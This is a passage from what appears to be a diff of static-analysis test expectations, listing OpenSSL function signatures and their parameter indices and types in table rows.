zmq.cpp:17:6:17:13 | test_zmc | (SSL *,size_t,size_t) | | SSL_set_block_padding_ex | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_CTX *,size_t,size_t) | | SSL_CTX_set_block_padding_ex | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,int,size_t) | | WPACKET_memset | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_add1_host | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_email | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (X509_VERIFY_PARAM *,const char *,size_t) | | X509_VERIFY_PARAM_set1_host | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (X509_VERIFY_PARAM *,const unsigned char *,size_t) | | X509_VERIFY_PARAM_set1_ip | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (char *,const char *,size_t) | | OPENSSL_strlcat | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (char *,const char *,size_t) | | OPENSSL_strlcpy | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const CTLOG_STORE *,const uint8_t *,size_t) | | CTLOG_STORE_get0_log_by_id | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 1 | +| zmq.cpp:17:6:17:13 | test_zmc | (const OSSL_CMP_CTX *,char *,size_t) | | OSSL_CMP_CTX_snprint_PKIStatus | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 1 | +| zmq.cpp:17:6:17:13 | test_zmc | (const OSSL_CMP_PKISI *,char *,size_t) | | OSSL_CMP_snprint_PKIStatusInfo | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const SSL_SESSION *,unsigned char *,size_t) | | SSL_SESSION_get_master_key | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 1 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,const char *,size_t) | | OPENSSL_strncasecmp | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,unsigned char *,size_t) | | OSSL_PARAM_construct_BN | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,void **,size_t) | | OSSL_PARAM_construct_octet_ptr | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const char *,void *,size_t) | | OSSL_PARAM_construct_octet_string | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (const unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (int *,int *,size_t) | | EVP_PBE_get | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 2 | +| zmq.cpp:17:6:17:13 | test_zmc | (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 2 | getSignatureParameterName +| (..(*)(..)) | | ASN1_SCTX_new | 0 | ..(*)(..) | +| (..(*)(..)) | | ossl_pqueue_new | 0 | ..(*)(..) | +| (..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | X509_CRL_METHOD_new | 0 | ..(*)(..) | +| (..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | X509_CRL_METHOD_new | 1 | ..(*)(..) | +| (..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | X509_CRL_METHOD_new | 2 | ..(*)(..) | +| (..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | X509_CRL_METHOD_new | 3 | ..(*)(..) | +| (..(*)(..),d2i_of_void *,BIO *,void **) | | ASN1_d2i_bio | 0 | ..(*)(..) | +| (..(*)(..),d2i_of_void *,BIO *,void **) | | ASN1_d2i_bio | 1 | d2i_of_void * | +| (..(*)(..),d2i_of_void *,BIO *,void **) | | ASN1_d2i_bio | 2 | BIO * | +| (..(*)(..),d2i_of_void *,BIO *,void **) | | ASN1_d2i_bio | 3 | void ** | +| (..(*)(..),d2i_of_void *,FILE *,void **) | | ASN1_d2i_fp | 0 | ..(*)(..) | +| (..(*)(..),d2i_of_void *,FILE *,void **) | | ASN1_d2i_fp | 1 | d2i_of_void * | +| (..(*)(..),d2i_of_void *,FILE *,void **) | | ASN1_d2i_fp | 2 | FILE * | +| (..(*)(..),d2i_of_void *,FILE *,void **) | | ASN1_d2i_fp | 3 | void ** | +| (..(*)(..),void *) | | OSSL_STORE_do_all_loaders | 0 | ..(*)(..) | +| (..(*)(..),void *) | | OSSL_STORE_do_all_loaders | 1 | void * | +| (..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *) | | ossl_ackm_new | 0 | ..(*)(..) | +| (..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *) | | ossl_ackm_new | 1 | void * | +| (..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *) | | ossl_ackm_new | 2 | OSSL_STATM * | +| (..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *) | | ossl_ackm_new | 3 | const OSSL_CC_METHOD * | +| (..(*)(..),void *,OSSL_STATM *,const OSSL_CC_METHOD *,OSSL_CC_DATA *) | | ossl_ackm_new | 4 | OSSL_CC_DATA * | +| (ACCESS_DESCRIPTION *) | | ACCESS_DESCRIPTION_free | 0 | ACCESS_DESCRIPTION * | +| (ACCESS_DESCRIPTION **,const unsigned char **,long) | | d2i_ACCESS_DESCRIPTION | 0 | ACCESS_DESCRIPTION ** | +| (ACCESS_DESCRIPTION **,const unsigned char **,long) | | d2i_ACCESS_DESCRIPTION | 1 | const unsigned char ** | +| (ACCESS_DESCRIPTION **,const unsigned char **,long) | | d2i_ACCESS_DESCRIPTION | 2 | long | +| (ADMISSIONS *) | | ADMISSIONS_free | 0 | ADMISSIONS * | +| (ADMISSIONS **,const unsigned char **,long) | | d2i_ADMISSIONS | 0 | ADMISSIONS ** | +| (ADMISSIONS **,const unsigned char **,long) | | d2i_ADMISSIONS | 1 | const unsigned char ** | +| (ADMISSIONS **,const unsigned char **,long) | | d2i_ADMISSIONS | 2 | long | +| (ADMISSIONS *,GENERAL_NAME *) | | ADMISSIONS_set0_admissionAuthority | 0 | ADMISSIONS * | +| (ADMISSIONS *,GENERAL_NAME *) | | ADMISSIONS_set0_admissionAuthority | 1 | GENERAL_NAME * | +| (ADMISSIONS *,NAMING_AUTHORITY *) | | ADMISSIONS_set0_namingAuthority | 0 | ADMISSIONS * | +| (ADMISSIONS *,NAMING_AUTHORITY *) | | ADMISSIONS_set0_namingAuthority | 1 | NAMING_AUTHORITY * | +| (ADMISSIONS *,PROFESSION_INFOS *) | | ADMISSIONS_set0_professionInfos | 0 | ADMISSIONS * | +| (ADMISSIONS *,PROFESSION_INFOS *) | | ADMISSIONS_set0_professionInfos | 1 | PROFESSION_INFOS * | +| (ADMISSION_SYNTAX *) | | ADMISSION_SYNTAX_free | 0 | ADMISSION_SYNTAX * | +| (ADMISSION_SYNTAX **,const unsigned char **,long) | | d2i_ADMISSION_SYNTAX | 0 | ADMISSION_SYNTAX ** | +| (ADMISSION_SYNTAX **,const unsigned char **,long) | | d2i_ADMISSION_SYNTAX | 1 | const unsigned char ** | +| (ADMISSION_SYNTAX **,const unsigned char **,long) | | d2i_ADMISSION_SYNTAX | 2 | long | +| (ADMISSION_SYNTAX *,GENERAL_NAME *) | | ADMISSION_SYNTAX_set0_admissionAuthority | 0 | ADMISSION_SYNTAX * | +| (ADMISSION_SYNTAX *,GENERAL_NAME *) | | ADMISSION_SYNTAX_set0_admissionAuthority | 1 | GENERAL_NAME * | +| (ADMISSION_SYNTAX *,stack_st_ADMISSIONS *) | | ADMISSION_SYNTAX_set0_contentsOfAdmissions | 0 | ADMISSION_SYNTAX * | +| (ADMISSION_SYNTAX *,stack_st_ADMISSIONS *) | | ADMISSION_SYNTAX_set0_contentsOfAdmissions | 1 | stack_st_ADMISSIONS * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_unwrap_key | 0 | AES_KEY * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_unwrap_key | 1 | const unsigned char * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_unwrap_key | 2 | unsigned char * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_unwrap_key | 3 | const unsigned char * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_unwrap_key | 4 | unsigned int | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_wrap_key | 0 | AES_KEY * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_wrap_key | 1 | const unsigned char * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_wrap_key | 2 | unsigned char * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_wrap_key | 3 | const unsigned char * | +| (AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int) | | AES_wrap_key | 4 | unsigned int | +| (ARGS *,char *) | | chopup_args | 0 | ARGS * | +| (ARGS *,char *) | | chopup_args | 1 | char * | +| (ASIdOrRange *) | | ASIdOrRange_free | 0 | ASIdOrRange * | +| (ASIdOrRange **,const unsigned char **,long) | | d2i_ASIdOrRange | 0 | ASIdOrRange ** | +| (ASIdOrRange **,const unsigned char **,long) | | d2i_ASIdOrRange | 1 | const unsigned char ** | +| (ASIdOrRange **,const unsigned char **,long) | | d2i_ASIdOrRange | 2 | long | +| (ASIdentifierChoice *) | | ASIdentifierChoice_free | 0 | ASIdentifierChoice * | +| (ASIdentifierChoice **,const unsigned char **,long) | | d2i_ASIdentifierChoice | 0 | ASIdentifierChoice ** | +| (ASIdentifierChoice **,const unsigned char **,long) | | d2i_ASIdentifierChoice | 1 | const unsigned char ** | +| (ASIdentifierChoice **,const unsigned char **,long) | | d2i_ASIdentifierChoice | 2 | long | +| (ASIdentifiers *) | | ASIdentifiers_free | 0 | ASIdentifiers * | +| (ASIdentifiers **,const unsigned char **,long) | | d2i_ASIdentifiers | 0 | ASIdentifiers ** | +| (ASIdentifiers **,const unsigned char **,long) | | d2i_ASIdentifiers | 1 | const unsigned char ** | +| (ASIdentifiers **,const unsigned char **,long) | | d2i_ASIdentifiers | 2 | long | +| (ASN1_BIT_STRING **,const unsigned char **,long) | | d2i_ASN1_BIT_STRING | 0 | ASN1_BIT_STRING ** | +| (ASN1_BIT_STRING **,const unsigned char **,long) | | d2i_ASN1_BIT_STRING | 1 | const unsigned char ** | +| (ASN1_BIT_STRING **,const unsigned char **,long) | | d2i_ASN1_BIT_STRING | 2 | long | +| (ASN1_BIT_STRING **,const unsigned char **,long) | | ossl_c2i_ASN1_BIT_STRING | 0 | ASN1_BIT_STRING ** | +| (ASN1_BIT_STRING **,const unsigned char **,long) | | ossl_c2i_ASN1_BIT_STRING | 1 | const unsigned char ** | +| (ASN1_BIT_STRING **,const unsigned char **,long) | | ossl_c2i_ASN1_BIT_STRING | 2 | long | +| (ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *) | | ASN1_BIT_STRING_set_asc | 0 | ASN1_BIT_STRING * | +| (ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *) | | ASN1_BIT_STRING_set_asc | 1 | const char * | +| (ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *) | | ASN1_BIT_STRING_set_asc | 2 | int | +| (ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *) | | ASN1_BIT_STRING_set_asc | 3 | BIT_STRING_BITNAME * | +| (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 0 | ASN1_BIT_STRING * | +| (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 1 | int | +| (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 2 | int | +| (ASN1_BIT_STRING *,unsigned char **) | | ossl_i2c_ASN1_BIT_STRING | 0 | ASN1_BIT_STRING * | +| (ASN1_BIT_STRING *,unsigned char **) | | ossl_i2c_ASN1_BIT_STRING | 1 | unsigned char ** | +| (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 0 | ASN1_BIT_STRING * | +| (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 1 | unsigned char * | +| (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 2 | int | +| (ASN1_BMPSTRING **,const unsigned char **,long) | | d2i_ASN1_BMPSTRING | 0 | ASN1_BMPSTRING ** | +| (ASN1_BMPSTRING **,const unsigned char **,long) | | d2i_ASN1_BMPSTRING | 1 | const unsigned char ** | +| (ASN1_BMPSTRING **,const unsigned char **,long) | | d2i_ASN1_BMPSTRING | 2 | long | +| (ASN1_ENUMERATED **,const unsigned char **,long) | | d2i_ASN1_ENUMERATED | 0 | ASN1_ENUMERATED ** | +| (ASN1_ENUMERATED **,const unsigned char **,long) | | d2i_ASN1_ENUMERATED | 1 | const unsigned char ** | +| (ASN1_ENUMERATED **,const unsigned char **,long) | | d2i_ASN1_ENUMERATED | 2 | long | +| (ASN1_ENUMERATED *,int64_t) | | ASN1_ENUMERATED_set_int64 | 0 | ASN1_ENUMERATED * | +| (ASN1_ENUMERATED *,int64_t) | | ASN1_ENUMERATED_set_int64 | 1 | int64_t | +| (ASN1_ENUMERATED *,long) | | ASN1_ENUMERATED_set | 0 | ASN1_ENUMERATED * | +| (ASN1_ENUMERATED *,long) | | ASN1_ENUMERATED_set | 1 | long | +| (ASN1_GENERALIZEDTIME **,const unsigned char **,long) | | d2i_ASN1_GENERALIZEDTIME | 0 | ASN1_GENERALIZEDTIME ** | +| (ASN1_GENERALIZEDTIME **,const unsigned char **,long) | | d2i_ASN1_GENERALIZEDTIME | 1 | const unsigned char ** | +| (ASN1_GENERALIZEDTIME **,const unsigned char **,long) | | d2i_ASN1_GENERALIZEDTIME | 2 | long | +| (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 0 | ASN1_GENERALIZEDTIME * | +| (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | const char * | +| (ASN1_GENERALIZEDTIME *,time_t) | | ASN1_GENERALIZEDTIME_set | 0 | ASN1_GENERALIZEDTIME * | +| (ASN1_GENERALIZEDTIME *,time_t) | | ASN1_GENERALIZEDTIME_set | 1 | time_t | +| (ASN1_GENERALIZEDTIME *,time_t,int,long) | | ASN1_GENERALIZEDTIME_adj | 0 | ASN1_GENERALIZEDTIME * | +| (ASN1_GENERALIZEDTIME *,time_t,int,long) | | ASN1_GENERALIZEDTIME_adj | 1 | time_t | +| (ASN1_GENERALIZEDTIME *,time_t,int,long) | | ASN1_GENERALIZEDTIME_adj | 2 | int | +| (ASN1_GENERALIZEDTIME *,time_t,int,long) | | ASN1_GENERALIZEDTIME_adj | 3 | long | +| (ASN1_GENERALSTRING **,const unsigned char **,long) | | d2i_ASN1_GENERALSTRING | 0 | ASN1_GENERALSTRING ** | +| (ASN1_GENERALSTRING **,const unsigned char **,long) | | d2i_ASN1_GENERALSTRING | 1 | const unsigned char ** | +| (ASN1_GENERALSTRING **,const unsigned char **,long) | | d2i_ASN1_GENERALSTRING | 2 | long | +| (ASN1_IA5STRING **,const unsigned char **,long) | | d2i_ASN1_IA5STRING | 0 | ASN1_IA5STRING ** | +| (ASN1_IA5STRING **,const unsigned char **,long) | | d2i_ASN1_IA5STRING | 1 | const unsigned char ** | +| (ASN1_IA5STRING **,const unsigned char **,long) | | d2i_ASN1_IA5STRING | 2 | long | +| (ASN1_INTEGER **,const unsigned char **,long) | | d2i_ASN1_INTEGER | 0 | ASN1_INTEGER ** | +| (ASN1_INTEGER **,const unsigned char **,long) | | d2i_ASN1_INTEGER | 1 | const unsigned char ** | +| (ASN1_INTEGER **,const unsigned char **,long) | | d2i_ASN1_INTEGER | 2 | long | +| (ASN1_INTEGER **,const unsigned char **,long) | | d2i_ASN1_UINTEGER | 0 | ASN1_INTEGER ** | +| (ASN1_INTEGER **,const unsigned char **,long) | | d2i_ASN1_UINTEGER | 1 | const unsigned char ** | +| (ASN1_INTEGER **,const unsigned char **,long) | | d2i_ASN1_UINTEGER | 2 | long | +| (ASN1_INTEGER **,const unsigned char **,long) | | ossl_c2i_ASN1_INTEGER | 0 | ASN1_INTEGER ** | +| (ASN1_INTEGER **,const unsigned char **,long) | | ossl_c2i_ASN1_INTEGER | 1 | const unsigned char ** | +| (ASN1_INTEGER **,const unsigned char **,long) | | ossl_c2i_ASN1_INTEGER | 2 | long | +| (ASN1_INTEGER *,int64_t) | | ASN1_INTEGER_set_int64 | 0 | ASN1_INTEGER * | +| (ASN1_INTEGER *,int64_t) | | ASN1_INTEGER_set_int64 | 1 | int64_t | +| (ASN1_INTEGER *,long) | | ASN1_INTEGER_set | 0 | ASN1_INTEGER * | +| (ASN1_INTEGER *,long) | | ASN1_INTEGER_set | 1 | long | +| (ASN1_INTEGER *,uint64_t) | | ASN1_INTEGER_set_uint64 | 0 | ASN1_INTEGER * | +| (ASN1_INTEGER *,uint64_t) | | ASN1_INTEGER_set_uint64 | 1 | uint64_t | +| (ASN1_INTEGER *,unsigned char **) | | ossl_i2c_ASN1_INTEGER | 0 | ASN1_INTEGER * | +| (ASN1_INTEGER *,unsigned char **) | | ossl_i2c_ASN1_INTEGER | 1 | unsigned char ** | +| (ASN1_NULL *) | | ASN1_NULL_free | 0 | ASN1_NULL * | +| (ASN1_NULL **,const unsigned char **,long) | | d2i_ASN1_NULL | 0 | ASN1_NULL ** | +| (ASN1_NULL **,const unsigned char **,long) | | d2i_ASN1_NULL | 1 | const unsigned char ** | +| (ASN1_NULL **,const unsigned char **,long) | | d2i_ASN1_NULL | 2 | long | +| (ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *) | | X509_PUBKEY_get0_param | 0 | ASN1_OBJECT ** | +| (ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *) | | X509_PUBKEY_get0_param | 1 | const unsigned char ** | +| (ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *) | | X509_PUBKEY_get0_param | 2 | int * | +| (ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *) | | X509_PUBKEY_get0_param | 3 | X509_ALGOR ** | +| (ASN1_OBJECT **,const unsigned char **,int *,X509_ALGOR **,const X509_PUBKEY *) | | X509_PUBKEY_get0_param | 4 | const X509_PUBKEY * | +| (ASN1_OBJECT **,const unsigned char **,long) | | d2i_ASN1_OBJECT | 0 | ASN1_OBJECT ** | +| (ASN1_OBJECT **,const unsigned char **,long) | | d2i_ASN1_OBJECT | 1 | const unsigned char ** | +| (ASN1_OBJECT **,const unsigned char **,long) | | d2i_ASN1_OBJECT | 2 | long | +| (ASN1_OBJECT **,const unsigned char **,long) | | ossl_c2i_ASN1_OBJECT | 0 | ASN1_OBJECT ** | +| (ASN1_OBJECT **,const unsigned char **,long) | | ossl_c2i_ASN1_OBJECT | 1 | const unsigned char ** | +| (ASN1_OBJECT **,const unsigned char **,long) | | ossl_c2i_ASN1_OBJECT | 2 | long | +| (ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ATAV_create | 0 | ASN1_OBJECT * | +| (ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ATAV_create | 1 | ASN1_TYPE * | +| (ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ITAV_create | 0 | ASN1_OBJECT * | +| (ASN1_OBJECT *,ASN1_TYPE *) | | OSSL_CMP_ITAV_create | 1 | ASN1_TYPE * | +| (ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *) | | OCSP_id_get0_info | 0 | ASN1_OCTET_STRING ** | +| (ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *) | | OCSP_id_get0_info | 1 | ASN1_OBJECT ** | +| (ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *) | | OCSP_id_get0_info | 2 | ASN1_OCTET_STRING ** | +| (ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *) | | OCSP_id_get0_info | 3 | ASN1_INTEGER ** | +| (ASN1_OCTET_STRING **,ASN1_OBJECT **,ASN1_OCTET_STRING **,ASN1_INTEGER **,OCSP_CERTID *) | | OCSP_id_get0_info | 4 | OCSP_CERTID * | +| (ASN1_OCTET_STRING **,X509 *) | | ossl_cms_set1_keyid | 0 | ASN1_OCTET_STRING ** | +| (ASN1_OCTET_STRING **,X509 *) | | ossl_cms_set1_keyid | 1 | X509 * | +| (ASN1_OCTET_STRING **,const ASN1_OCTET_STRING *) | | ossl_cmp_asn1_octet_string_set1 | 0 | ASN1_OCTET_STRING ** | +| (ASN1_OCTET_STRING **,const ASN1_OCTET_STRING *) | | ossl_cmp_asn1_octet_string_set1 | 1 | const ASN1_OCTET_STRING * | +| (ASN1_OCTET_STRING **,const unsigned char **,long) | | d2i_ASN1_OCTET_STRING | 0 | ASN1_OCTET_STRING ** | +| (ASN1_OCTET_STRING **,const unsigned char **,long) | | d2i_ASN1_OCTET_STRING | 1 | const unsigned char ** | +| (ASN1_OCTET_STRING **,const unsigned char **,long) | | d2i_ASN1_OCTET_STRING | 2 | long | +| (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 0 | ASN1_OCTET_STRING ** | +| (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 1 | const unsigned char * | +| (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 2 | int | +| (ASN1_OCTET_STRING *,X509 *) | | ossl_cms_keyid_cert_cmp | 0 | ASN1_OCTET_STRING * | +| (ASN1_OCTET_STRING *,X509 *) | | ossl_cms_keyid_cert_cmp | 1 | X509 * | +| (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 0 | ASN1_OCTET_STRING * | +| (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 1 | const unsigned char * | +| (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 2 | int | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 0 | ASN1_PCTX * | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | unsigned long | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 0 | ASN1_PCTX * | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | unsigned long | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 0 | ASN1_PCTX * | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | unsigned long | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 0 | ASN1_PCTX * | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | unsigned long | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 0 | ASN1_PCTX * | +| (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | unsigned long | +| (ASN1_PRINTABLESTRING **,const unsigned char **,long) | | d2i_ASN1_PRINTABLESTRING | 0 | ASN1_PRINTABLESTRING ** | +| (ASN1_PRINTABLESTRING **,const unsigned char **,long) | | d2i_ASN1_PRINTABLESTRING | 1 | const unsigned char ** | +| (ASN1_PRINTABLESTRING **,const unsigned char **,long) | | d2i_ASN1_PRINTABLESTRING | 2 | long | +| (ASN1_SCTX *) | | ASN1_SCTX_get_app_data | 0 | ASN1_SCTX * | +| (ASN1_SCTX *) | | ASN1_SCTX_get_flags | 0 | ASN1_SCTX * | +| (ASN1_SCTX *) | | ASN1_SCTX_get_item | 0 | ASN1_SCTX * | +| (ASN1_SCTX *) | | ASN1_SCTX_get_template | 0 | ASN1_SCTX * | +| (ASN1_SCTX *,void *) | | ASN1_SCTX_set_app_data | 0 | ASN1_SCTX * | +| (ASN1_SCTX *,void *) | | ASN1_SCTX_set_app_data | 1 | void * | +| (ASN1_SEQUENCE_ANY **,const unsigned char **,long) | | d2i_ASN1_SEQUENCE_ANY | 0 | ASN1_SEQUENCE_ANY ** | +| (ASN1_SEQUENCE_ANY **,const unsigned char **,long) | | d2i_ASN1_SEQUENCE_ANY | 1 | const unsigned char ** | +| (ASN1_SEQUENCE_ANY **,const unsigned char **,long) | | d2i_ASN1_SEQUENCE_ANY | 2 | long | +| (ASN1_SEQUENCE_ANY **,const unsigned char **,long) | | d2i_ASN1_SET_ANY | 0 | ASN1_SEQUENCE_ANY ** | +| (ASN1_SEQUENCE_ANY **,const unsigned char **,long) | | d2i_ASN1_SET_ANY | 1 | const unsigned char ** | +| (ASN1_SEQUENCE_ANY **,const unsigned char **,long) | | d2i_ASN1_SET_ANY | 2 | long | +| 